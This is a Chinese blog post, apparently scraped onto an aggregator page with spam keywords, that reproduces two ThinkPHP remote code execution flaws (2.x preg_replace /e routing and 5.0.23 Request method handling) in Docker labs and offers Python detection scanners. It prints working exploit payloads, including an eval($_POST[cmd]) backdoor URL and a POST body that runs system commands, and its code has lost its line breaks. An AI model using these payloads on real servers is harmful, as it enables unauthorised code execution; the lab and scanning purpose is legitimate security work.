当前位置: 首页 > news >正文

刷赞抖音推广网站长沙网站seo分析

刷赞抖音推广网站,长沙网站seo分析,广东公司响应式网站建设设计,微信公众官网登录前言 Thinkphp框架中存在很多漏洞,因此编写漏洞扫描器来检测漏洞很有必要 漏洞介绍(2.x版本) ThinkPHP 2.x版本中存在一个远程代码执行漏洞。 在ThinkPHP 2.x版本中,框架使用preg_replace的/e模式匹配路由: $res pr…

前言

Thinkphp框架中存在很多漏洞,因此编写漏洞扫描器来检测漏洞很有必

漏洞介绍(2.x版本)

ThinkPHP 2.x版本中存在一个远程代码执行漏洞。

在ThinkPHP 2.x版本中,框架使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这个实现导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。值得注意的是,ThinkPHP 3.0版本在Lite模式下也存在这个漏洞,因为这个问题在该模式下并未被修复。

环境搭建

执行如下命令启动ThinkPHP 2.1:

docker compose up -d

环境启动后,访问http://127.0.0.1:8081/即可查看到默认页面。

漏洞复现

通过URL参数注入PHP代码来利用此漏洞。直接访问http://your-ip:8080/index.php?s=/index/index/name/${@phpinfo()},服务器将执行phpinfo()函数,证明远程代码执行漏洞利用成功:

核心

POC:
/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}
preg_relace("正则规则","替换字符","目标字符")

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

代码

import requests
from urllib.parse import urljoindef thinkphp_2x_scan(url):payload = "?s=/handsome/jing/zi/${var_dump(md5(Mirror))}"url = urljoin(url, payload)response = requests.get(url=url)# 判断 md5(handsome_Mirror) 在数据包中是否存在if '2403def5083f02105e7802b3b315681e' in response.text:print(response.text)print('漏洞存在')else:print('漏洞不存在')if __name__ == '__main__':urls = 'http://127.0.0.1:8081/'thinkphp_2x_scan(urls)

漏洞介绍(5.0.23版本)

5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

环境搭建

执行如下命令启动一个默认的thinkphp 5.0.23环境:

docker compose up -d

环境启动后,访问 http://127.0.0.1:8082/ 即可看到默认的ThinkPHP启动页面。

漏洞复现

发送数据包:

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

代码

import requests
from urllib.parse import urljoinheaders = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0','Content-Type': 'application/x-www-form-urlencoded',
}def thinkphp_5_0_23_scan(url):payload = r'_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1'path = '/index.php?s=captcha'target = urljoin(url, path)response = requests.post(url=target, data=payload, headers=headers, verify=False)# print(response.text)if "PHP Version" in response.text:print("漏洞存在")else:print("漏洞不存在")if __name__ == '__main__':urls = "http://127.0.0.1:8082"thinkphp_5_0_23_scan(urls)

http://www.dtcms.com/a/438327.html

相关文章:

  • 怎么做网站界面设计如何推广店铺呢
  • C++笔记(面向对象)六(4+2C++11)个缺省函数详解
  • CTFHub 信息泄露通关笔记7:Git泄露 Log
  • 【Svelte】如何自定义路径别名(alias)?
  • 公司做哪个网站比较好西安外贸网站建设公司
  • DeepSeek-V3.2-Exp + PH8:国产大模型的性价比革命
  • 第二十三讲:特殊类和类型转换
  • 如何区分数学中的定理、引理、命题?
  • 森东网站建设南昌网站排名优化软件
  • 深圳网站建设制作开发公司开发公司app
  • 《强化学习数学原理》学习笔记8——贝尔曼最优公式小结
  • discuz网站开发深圳建设网站首页
  • Linux信号处理的相关数据结构和操作函数
  • 分类信息网站手机企业网站开发
  • 做杂志的网站有哪些织梦网站系统
  • 我的网站百度怎么搜索不到了文山网站建设代理
  • 小程序推广网站免费wordpress模板下载地址
  • 第66篇:AI+交通:智能驾驶、交通流优化与智慧物流
  • 苏州自学网站建设平台做外国美食的视频网站
  • 黄冈app下载推广平台优化视频
  • 学习日记20:GraphGPT
  • 做网站加班多吗蛋糕店网站建设方案
  • 从餐馆迎客看 accept4:更灵活的“接客“高手
  • Metasploit基础(MSF)
  • 浅析物理层过程
  • 总结 IP 协议的相关特性
  • 网球馆自动预约系统的反调试
  • PyQt5 QLineEdit组件详解:单行文本输入控件的完整指南
  • 网站建设的毕业报告公司名称变更流程及需材料
  • OSPF 多区域实验 概念及题目